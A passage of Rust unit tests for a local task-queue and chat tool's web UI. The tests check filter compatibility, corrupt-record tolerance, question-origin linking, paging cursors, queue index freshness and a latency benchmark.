23501        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23502        // way.
23503        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23504            match filter_key {
23505                "active" => !done,
23506                "flight" => !done && !waiting && !dead,
23507                "stale" => !done && !waiting && dead,
23508                "waiting" => waiting,
23509                "done" => done,
23510                "all" => true,
23511                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23512            }
23513        }
23514
23515        let compatible = |section: &str, filter_key: &str| {
23516            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23517                run_section(*waiting, status, *dead, *parked) == section
23518                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23519            })
23520        };
23521
23522        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23523        // (active, flight, stale, waiting, done, all) - hand-derived from the
23524        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23525        // currently contains.
23526        let expected = [
23527            ("waiting", [true, false, false, true, true, true]),
23528            ("stale", [true, false, true, false, false, true]),
23529            ("flight", [true, true, false, false, false, true]),
23530            ("landed", [false, false, false, false, true, true]),
23531            ("ended", [false, false, false, false, true, true]),
23532        ];
23533        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23534
23535        for (section, wants) in expected {
23536            for (filter_key, want) in filter_keys.iter().zip(wants) {
23537                assert_eq!(
23538                    compatible(section, filter_key),
23539                    want,
23540                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23541                );
23542            }
23543        }
23544
23545        // The compatibility check exists only to be acted on: both pickers
23546        // must actually consult it rather than just render its answer.
23547        assert!(
23548            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23549        );
23550        assert!(APP_JS.contains(
23551            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23552        ));
23553        assert!(APP_JS.contains(
23554            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23555        ));
23556    }
23557
23558    #[tokio::test]
23559    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23560        // An operator-named directory - git checkout or not - is never
23561        // second-guessed, even when it does not exist at all: only the
23562        // flag's own unmodified `.` default is ever eligible for discovery.
23563        let dir = tempfile::tempdir().expect("tempdir");
23564        let explicit = dir.path().join("not-a-checkout");
23565        std::fs::create_dir_all(&explicit).expect("create dir");
23566        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23567
23568        let missing = dir.path().join("does-not-exist-at-all");
23569        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23570    }
23571
23572    #[test]
23573    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23574        assert!(APP_JS.contains("function statsDonutArcs"));
23575        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23576        // A bucket click filters by the statuses src/stats.rs counts in it.
23577        assert!(APP_JS.contains("function statusInBucket"));
23578        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23579        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23580        let buckets = [
23581            "merged",
23582            "ready",
23583            "in_progress",
23584            "blocked",
23585            "failed",
23586            "verified_noop",
23587            "superseded",
23588            "stalled",
23589        ];
23590        for key in buckets {
23591            let var = format!("--verdict-{key}:");
23592            // Light, OS-dark and pinned-dark blocks each define it.
23593            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23594            assert!(
23595                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23596                "{key}"
23597            );
23598        }
23599    }
23600
23601    #[tokio::test]
23602    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23603        let dir = tempfile::tempdir().expect("tempdir");
23604        let queue = Queue::at(dir.path().join("queue"));
23605        let talks = Talks::at(dir.path().join("talks"));
23606        std::fs::create_dir_all(queue.root()).unwrap();
23607        std::fs::create_dir_all(talks.root()).unwrap();
23608
23609        // Put a corrupt json file in both stores
23610        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23611        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23612
23613        // Valid task and talk
23614        let mut task = Task::new(
23615            "title".into(),
23616            "inst".into(),
23617            PathBuf::from("/repo"),
23618            Source::Human,
23619        );
23620        task.id = "20261019-123456-abcd".into();
23621        // Write manually so it's a valid file
23622        std::fs::write(
23623            queue.path_of(&task.id),
23624            serde_json::to_string(&task).unwrap(),
23625        )
23626        .unwrap();
23627
23628        let talk_id = "20261019-234567-cdef";
23629        seed_talk_at(&talks, talk_id, "open");
23630
23631        // Exact match should succeed without failing on the corrupt json file
23632        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23633        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23634
23635        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23636        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23637        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23638    }
23639
23640    #[tokio::test]
23641    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23642        let home = tempfile::tempdir().unwrap();
23643        let ui = delta_test_ui(home.path());
23644        // A full history traversal would fail even with no questions.
23645        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23646        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23647        assert!(
23648            questions_list(State(ui.clone()))
23649                .await
23650                .unwrap()
23651                .0
23652                .is_empty()
23653        );
23654        assert!(
23655            question_origins(State(ui.clone()))
23656                .await
23657                .unwrap()
23658                .0
23659                .is_empty()
23660        );
23661        let mut question = Question::new(
23662            "run-history".into(),
23663            "review".into(),
23664            "seat".into(),
23665            "Useful question".into(),
23666            "Useful detail".into(),
23667            vec![],
23668        );
23669        ui.questions.put(&mut question).unwrap();
23670        let core = questions_core(State(ui.clone())).await.unwrap().0;
23671        assert_eq!(core.len(), 1);
23672        assert_eq!(core[0].question.summary, "Useful question");
23673        assert!(!core[0].can_consult_chat);
23674        assert!(core[0].origin_chat.is_none());
23675        assert_eq!(core[0].record_revision, question_record_revision(&question));
23676        assert!(question_origins(State(ui.clone())).await.is_err());
23677        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23678    }
23679
23680    #[tokio::test]
23681    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23682        let home = tempfile::tempdir().unwrap();
23683        let ui = delta_test_ui(home.path());
23684        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23685        let mut parent = Task::new(
23686            "parent".into(),
23687            "body".into(),
23688            PathBuf::from("/repo"),
23689            Source::Agent {
23690                run: chat.clone(),
23691                node: crate::queue::CHAT_NODE.into(),
23692            },
23693        );
23694        parent.id = "parent-task".into();
23695        parent.runs = vec!["parent-run".into()];
23696        ui.queue.put(&mut parent).unwrap();
23697        let mut previous = parent;
23698        for generation in 1..=2 {
23699            let mut child = Task::new(
23700                "child".into(),
23701                "body".into(),
23702                PathBuf::from("/repo"),
23703                Source::Human,
23704            );
23705            child.id = format!("child-task-{generation}");
23706            child.runs = vec![format!("child-run-{generation}")];
23707            child.followup = Some(crate::queue::FollowUp {
23708                origin_task: Some(previous.id.clone()),
23709                run: previous.runs[0].clone(),
23710                pr: String::new(),
23711                findings: vec![],
23712                generation,
23713            });
23714            ui.queue.put(&mut child).unwrap();
23715            previous = child;
23716        }
23717        // A run may have the same spelling as another task's id; its owner
23718        // must not override a typed task reference.
23719        let mut collision = Task::new(
23720            "collision".into(),
23721            String::new(),
23722            PathBuf::from("/repo"),
23723            Source::Human,
23724        );
23725        collision.id = "collision-task".into();
23726        collision.runs = vec![previous.id.clone()];
23727        ui.queue.put(&mut collision).unwrap();
23728        let mut questions = Vec::new();
23729        for (node, reference, expected, eligible) in [
23730            (crate::triage::NODE, previous.id.as_str(), true, false),
23731            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23732            ("review", previous.runs[0].as_str(), true, true),
23733            (
23734                crate::bump::NOTICE_NODE,
23735                previous.runs[0].as_str(),
23736                true,
23737                false,
23738            ),
23739            // Identical text in the wrong reference namespace is not evidence.
23740            ("review", previous.id.as_str(), false, false),
23741            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23742            ("review", "unrelated", false, false),
23743        ] {
23744            let mut q = Question::new(
23745                reference.into(),
23746                node.into(),
23747                "seat".into(),
23748                "Question".into(),
23749                String::new(),
23750                vec![],
23751            );
23752            ui.questions.put(&mut q).unwrap();
23753            questions.push((q, expected, eligible));
23754        }
23755        for (node, reference, associated, eligible) in [
23756            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23757            (
23758                crate::reconcile::NODE,
23759                previous.runs[0].as_str(),
23760                false,
23761                true,
23762            ),
23763            ("implement", previous.id.as_str(), false, false),
23764        ] {
23765            let mut q = Question::new(
23766                reference.into(),
23767                node.into(),
23768                crate::reconcile::SEAT.into(),
23769                "Reconcile".into(),
23770                String::new(),
23771                vec![],
23772            );
23773            ui.questions.put(&mut q).unwrap();
23774            questions.push((q, associated, eligible));
23775        }
23776        let mut release = Question::new(
23777            "release-record".into(),
23778            crate::bump::NOTICE_NODE.into(),
23779            "release-watch".into(),
23780            "Release".into(),
23781            String::new(),
23782            vec![],
23783        );
23784        ui.questions.put(&mut release).unwrap();
23785        let watch = crate::release_watch::WatchState {
23786            question: Some(release.id.clone()),
23787            run: Some(previous.runs[0].clone()),
23788            held_task: Some(previous.id.clone()),
23789            ..Default::default()
23790        };
23791        let watch_dir = home.path().join("release-watch");
23792        std::fs::create_dir_all(&watch_dir).unwrap();
23793        let watch_path = watch_dir.join("watch.json");
23794        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23795        // Ordinary questions and bump notices do not need watch-store I/O.
23796        for batch in [
23797            Vec::new(),
23798            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23799        ] {
23800            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23801            assert!(watches.is_empty());
23802        }
23803        questions.push((release.clone(), true, false));
23804
23805        let views = questions_list(State(ui.clone())).await.unwrap().0;
23806        let origins = question_origins(State(ui.clone())).await.unwrap().0;
23807        for (q, associated, eligible) in &questions {
23808            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23809            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23810            let expected = associated.then_some(chat.as_str());
23811            assert_eq!(
23812                view.origin_chat.as_deref(),
23813                expected,
23814                "{} {}",
23815                q.node,
23816                q.run
23817            );
23818            assert_eq!(origin.origin_chat.as_deref(), expected);
23819            assert_eq!(view.origin_chat_closed, *associated);
23820            assert_eq!(origin.origin_chat_closed, *associated);
23821            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23822            assert_eq!(origin.can_consult_chat, *eligible);
23823        }
23824        // Either saved link independently recovers a release question's owner.
23825        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23826            let link = crate::release_watch::WatchState {
23827                run,
23828                held_task,
23829                ..watch.clone()
23830            };
23831            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23832            let (tasks, talks, watches) =
23833                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23834            assert_eq!(
23835                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23836                    .unwrap()
23837                    .id,
23838                chat,
23839            );
23840            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23841        }
23842        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23843        // Even identical duplicate records are ambiguous: ignore their links.
23844        let duplicate_path = watch_dir.join("duplicate.json");
23845        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23846        let (tasks, talks, watches) =
23847            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23848        assert!(
23849            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23850                .is_none()
23851        );
23852        std::fs::remove_file(duplicate_path).unwrap();
23853        // Another explicit owner is a conflict even if it has no chat.
23854        let mut unrelated = Task::new(
23855            "other".into(),
23856            String::new(),
23857            PathBuf::from("/repo"),
23858            Source::Human,
23859        );
23860        unrelated.id = "unrelated-task".into();
23861        ui.queue.put(&mut unrelated).unwrap();
23862        let mut conflicting = watch.clone();
23863        conflicting.held_task = Some(unrelated.id);
23864        std::fs::write(
23865            watch_dir.join("conflict.json"),
23866            serde_json::to_vec(&conflicting).unwrap(),
23867        )
23868        .unwrap();
23869        let (tasks, talks, watches) =
23870            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23871        assert!(
23872            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23873                .is_none()
23874        );
23875        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23876        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23877        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23878            assert!(origin.origin_chat.is_none());
23879            assert!(!origin.origin_chat_closed);
23880        }
23881    }
23882
23883    #[test]
23884    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23885        let home = tempfile::tempdir().unwrap();
23886        let ui = delta_test_ui(home.path());
23887        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23888        for i in 0..1000 {
23889            let mut task = Task::new(
23890                "unrelated".into(),
23891                "instruction ".repeat(256),
23892                PathBuf::from("/repo"),
23893                Source::Human,
23894            );
23895            task.id = format!("history-{i:04}");
23896            ui.queue.put(&mut task).unwrap();
23897            let id = seed_talk_at(&ui.talks, &task.id, "open");
23898            let mut talk = ui.talks.get(&id).unwrap();
23899            talk.pending = "history ".repeat(256);
23900            ui.talks.put(&mut talk).unwrap();
23901        }
23902        let mut parent = Task::new(
23903            "parent".into(),
23904            "body".into(),
23905            PathBuf::from("/repo"),
23906            Source::Agent {
23907                run: chat_id.clone(),
23908                node: crate::queue::CHAT_NODE.into(),
23909            },
23910        );
23911        parent.id = "task-parent".into();
23912        parent.runs = vec!["run-parent".into()];
23913        ui.queue.put(&mut parent).unwrap();
23914        let mut child = Task::new(
23915            "child".into(),
23916            "body".into(),
23917            PathBuf::from("/repo"),
23918            Source::Human,
23919        );
23920        child.id = "task-child".into();
23921        child.runs = vec!["run-child".into()];
23922        child.followup = Some(crate::queue::FollowUp {
23923            run: "run-parent".into(),
23924            origin_task: Some(parent.id.clone()),
23925            pr: "https://example.invalid/pr/1".into(),
23926            findings: vec![],
23927            generation: 1,
23928        });
23929        ui.queue.put(&mut child).unwrap();
23930        let mut question = Question::new(
23931            child.id.clone(),
23932            crate::conduct::NODE.into(),
23933            "seat".into(),
23934            "Continue?".into(),
23935            String::new(),
23936            vec![],
23937        );
23938        let (tasks, talks, _watches) =
23939            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23940        assert_eq!(tasks.len(), 2);
23941        assert_eq!(talks.len(), 1);
23942        assert_eq!(
23943            ui.monitor.queue_index.lock().unwrap().reparsed,
23944            0,
23945            "exact ancestry bypasses the index"
23946        );
23947        assert_eq!(
23948            crate::consult::origin_talk(&tasks, &talks, &question)
23949                .unwrap()
23950                .id,
23951            chat_id
23952        );
23953        question.run = "run-child".into();
23954        question.node = "review".into();
23955        for origin_task in [Some(parent.id.clone()), None] {
23956            child.followup.as_mut().unwrap().origin_task = origin_task;
23957            ui.queue.put(&mut child).unwrap();
23958            let (tasks, talks, _watches) =
23959                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23960            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23961            let expected =
23962                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23963                    .unwrap();
23964            assert_eq!(actual.id, expected.id);
23965            assert!(!actual.status.open());
23966            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23967            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23968            // Without Unix file identity, every readable record must be
23969            // reparsed to detect same-size, same-mtime replacements safely.
23970            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23971            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23972        }
23973        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23974        ui.queue.put(&mut child).unwrap();
23975        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23976        let (tasks, talks, _watches) =
23977            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23978        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23979        child.origin_chat = Some(chat_id.clone());
23980        ui.queue.put(&mut child).unwrap();
23981        let (tasks, talks, _watches) =
23982            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23983        assert_eq!(
23984            crate::consult::origin_talk(&tasks, &talks, &question)
23985                .unwrap()
23986                .id,
23987            chat_id
23988        );
23989        let revision = question_record_revision(&question);
23990        question.abandon("settled elsewhere");
23991        assert_ne!(revision, question_record_revision(&question));
23992        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23993        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23994        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23995        let (tasks, talks, _watches) =
23996            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23997        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23998    }
23999
24000    #[test]
24001    fn list_cursors_freeze_membership_and_expire_explicitly() {
24002        let home = tempfile::tempdir().unwrap();
24003        let ui = delta_test_ui(home.path());
24004        std::fs::create_dir_all(ui.queue.root()).unwrap();
24005        for i in 0..40 {
24006            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24007        }
24008        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24009        assert_eq!(first.len(), STORE_PAGE_SIZE);
24010        let cursor = cursor.unwrap();
24011        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24012        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24013        let (second, _) = page_ids(
24014            &ui,
24015            false,
24016            PageQuery {
24017                before: Some(cursor.clone()),
24018            },
24019        )
24020        .unwrap();
24021        assert_eq!(second[0], "record-0023");
24022        assert!(second.iter().all(|id| !first.contains(id)));
24023        assert!(
24024            page_ids(
24025                &ui,
24026                true,
24027                PageQuery {
24028                    before: Some(cursor.clone())
24029                }
24030            )
24031            .is_err()
24032        );
24033        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24034        assert_eq!(fresh[0], "record-9999");
24035        ui.monitor.list_walks.lock().unwrap().clear();
24036        assert!(
24037            page_ids(
24038                &ui,
24039                false,
24040                PageQuery {
24041                    before: Some(cursor)
24042                }
24043            )
24044            .is_err()
24045        );
24046    }
24047
24048    #[tokio::test]
24049    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24050        let home = tempfile::tempdir().unwrap();
24051        let ui = delta_test_ui(home.path());
24052        let mut task = Task::new(
24053            "task".into(),
24054            "body".into(),
24055            PathBuf::from("/repo"),
24056            Source::Human,
24057        );
24058        ui.queue.put(&mut task).unwrap();
24059        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24060        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24061        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24062        let expected = parsed + usize::from(!cfg!(unix));
24063        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24064        task.status = crate::queue::TaskStatus::Held;
24065        ui.queue.put(&mut task).unwrap();
24066        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24067        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24068        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24069        ui.queue.put(&mut task).unwrap();
24070        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24071        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24072        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24073    }
24074
24075    #[tokio::test]
24076    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24077        let home = tempfile::tempdir().unwrap();
24078        let ui = delta_test_ui(home.path());
24079        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24080        let before = health(State(ui.clone())).await.unwrap().0;
24081        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24082        let after = health(State(ui)).await.unwrap().0;
24083        assert_ne!(before.notifications_rev, after.notifications_rev);
24084        assert_eq!(after.notifications_unread, 1);
24085    }
24086
24087    #[tokio::test]
24088    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24089        let home = tempfile::tempdir().unwrap();
24090        let ui = delta_test_ui(home.path());
24091        let queue = &ui.queue;
24092        let talks = &ui.talks;
24093        for i in 0..1000 {
24094            let id = format!("20261019-{i:06}-page");
24095            let mut task = Task::new(
24096                "task".into(),
24097                "instruction".repeat(100),
24098                PathBuf::from("/repo/magi"),
24099                Source::Human,
24100            );
24101            task.id = id.clone();
24102            if i == 0 {
24103                task.status = crate::queue::TaskStatus::Held;
24104            } else if i == 999 {
24105                task.status = crate::queue::TaskStatus::Blocked;
24106                task.blocked_by = vec!["20261019-000000-page".into()];
24107            }
24108            queue.put(&mut task).unwrap();
24109            seed_talk_at(talks, &id, "open");
24110        }
24111        let page = serde_json::to_value(
24112            queue_page(State(ui.clone()), Query(PageQuery::default()))
24113                .await
24114                .unwrap()
24115                .0,
24116        )
24117        .unwrap();
24118        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24119        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24120        assert!(
24121            !page["rows"][0]["stuck_roots"]
24122                .as_array()
24123                .unwrap()
24124                .is_empty()
24125        );
24126        let cursor = page["next"].as_str().unwrap();
24127        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24128            .as_str()
24129            .unwrap();
24130        // Deleting an already enumerated file cannot shift or repeat a page.
24131        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24132        let next = serde_json::to_value(
24133            queue_page(
24134                State(ui.clone()),
24135                Query(PageQuery {
24136                    before: Some(cursor.into()),
24137                }),
24138            )
24139            .await
24140            .unwrap()
24141            .0,
24142        )
24143        .unwrap();
24144        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24145        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24146        let chats = serde_json::to_value(
24147            talks_page(State(ui.clone()), Query(PageQuery::default()))
24148                .await
24149                .unwrap()
24150                .0,
24151        )
24152        .unwrap();
24153        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24154        assert!(chats["rows"][0].get("pending").is_none());
24155        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24156        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24157        assert_eq!(counts["held"], 1);
24158        assert_eq!(counts["blocked"], 1);
24159        assert_eq!(counts["queued"], 997);
24160    }
24161
24162    #[test]
24163    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24164        let dir = tempfile::tempdir().unwrap();
24165        let ui = delta_test_ui(dir.path());
24166        let mut task = Task::new(
24167            "task".into(),
24168            "body".into(),
24169            PathBuf::from("/repo"),
24170            Source::Human,
24171        );
24172        task.runs = vec!["run-a".into()];
24173        ui.queue.put(&mut task).unwrap();
24174        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24175        task.runs = vec!["run-b".into()];
24176        let path = ui.queue.path_of(&task.id);
24177        let modified = path.metadata().unwrap().modified().unwrap();
24178        let replacement = path.with_extension("replacement");
24179        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24180        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24181        std::fs::write(&replacement, &bytes).unwrap();
24182        std::fs::File::options()
24183            .write(true)
24184            .open(&replacement)
24185            .unwrap()
24186            .set_times(std::fs::FileTimes::new().set_modified(modified))
24187            .unwrap();
24188        std::fs::rename(&replacement, &path).unwrap();
24189        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24190        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24191        std::fs::write(&path, "broken").unwrap();
24192        assert!(ui.find_task_for_run("run-b").is_err());
24193        std::fs::write(&path, bytes).unwrap();
24194        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24195        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24196        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24197    }
24198
24199    #[tokio::test]
24200    async fn conversation_core_is_independent_of_unreadable_related_history() {
24201        let home = tempfile::tempdir().unwrap();
24202        let ui = delta_test_ui(home.path());
24203        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24204        std::fs::create_dir_all(ui.queue.root()).unwrap();
24205        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24206        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24207            .await
24208            .unwrap();
24209        assert_eq!(core.talk.id, id);
24210        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24211    }
24212
24213    #[tokio::test]
24214    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24215        let home = tempfile::tempdir().unwrap();
24216        let ui = delta_test_ui(home.path());
24217        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24218        let mut run = RunState::new(
24219            PathBuf::from("/repo"),
24220            "main".into(),
24221            "01234567".into(),
24222            "Useful run".into(),
24223            Config::default(),
24224        );
24225        run.save_under(home.path()).unwrap();
24226        let mut task = Task::new(
24227            "Related".into(),
24228            "body".into(),
24229            PathBuf::from("/repo"),
24230            Source::Agent {
24231                run: talk_id.clone(),
24232                node: "chat".into(),
24233            },
24234        );
24235        task.runs = vec![run.id.clone()];
24236        ui.queue.put(&mut task).unwrap();
24237        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24238        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24239        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24240        assert!(
24241            run_detail(State(ui.clone()), Path(run.id.clone()))
24242                .await
24243                .is_ok()
24244        );
24245        assert!(
24246            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24247                .await
24248                .is_ok()
24249        );
24250        // Previously indexed corruption must not masquerade as no relationship.
24251        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24252        assert!(ui.find_task_for_run(&run.id).is_err());
24253        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24254        ui.queue.put(&mut task).unwrap();
24255        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24256    }
24257
24258    #[tokio::test]
24259    async fn conversation_sections_omit_large_task_instructions() {
24260        let home = tempfile::tempdir().unwrap();
24261        let ui = delta_test_ui(home.path());
24262        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24263        let mut task = Task::new(
24264            "filed task".into(),
24265            "large instruction ".repeat(65536),
24266            PathBuf::from("/repo"),
24267            Source::Agent {
24268                run: id.clone(),
24269                node: "chat".into(),
24270            },
24271        );
24272        ui.queue.put(&mut task).unwrap();
24273        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24274        assert_eq!(sections["tasks"][0]["id"], task.id);
24275        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24276        assert!(sections["tasks"][0].get("instruction").is_none());
24277        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24278    }
24279
24280    #[test]
24281    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24282        let home = tempfile::tempdir().unwrap();
24283        let talks = Talks::at(home.path().join("talks"));
24284        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24285        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24286        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24287        assert!(resolve_talk(&talks, "../outside").is_err());
24288        assert!(resolve_talk(&talks, "abcd").is_err());
24289        assert_eq!(
24290            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24291            "20261019-000001-abcd"
24292        );
24293    }
24294
24295    include!(concat!(
24296        env!("CARGO_MANIFEST_DIR"),
24297        "/tests/web_latency/baseline.rs"
24298    ));
24299
24300    include!(concat!(
24301        env!("CARGO_MANIFEST_DIR"),
24302        "/tests/web_latency/lists.rs"
24303    ));
24304
24305    #[tokio::test]
24306    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24307    async fn web_history_latency_measurement() {
24308        use std::time::Instant;
24309        let home = tempfile::tempdir().unwrap();
24310        let ui = delta_test_ui(home.path());
24311        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24312        let mut template = ui.talks.get(&id).unwrap();
24313        template.turns = serde_json::from_value(serde_json::json!([{
24314            "who": "operator", "body": "Show the accumulated work and its current status.",
24315            "at": Timestamp::now().to_string(),
24316        }]))
24317        .unwrap();
24318        std::fs::write(
24319            ui.talks.path_of(&id),
24320            serde_json::to_vec(&template).unwrap(),
24321        )
24322        .unwrap();
24323        let count = std::env::var("MAGI_BENCH_RECORDS")
24324            .ok()
24325            .and_then(|s| s.parse::<usize>().ok())
24326            .unwrap_or(1000);
24327        for i in 0..count {
24328            template.id = format!("20261019-{i:06}-history");
24329            template.pending = "history ".repeat(2048);
24330            std::fs::write(
24331                ui.talks.path_of(&template.id),
24332                serde_json::to_vec(&template).unwrap(),
24333            )
24334            .unwrap();
24335            let mut task = Task::new(
24336                "old task".into(),
24337                "instruction ".repeat(2048),
24338                PathBuf::from("/repo"),
24339                Source::Human,
24340            );
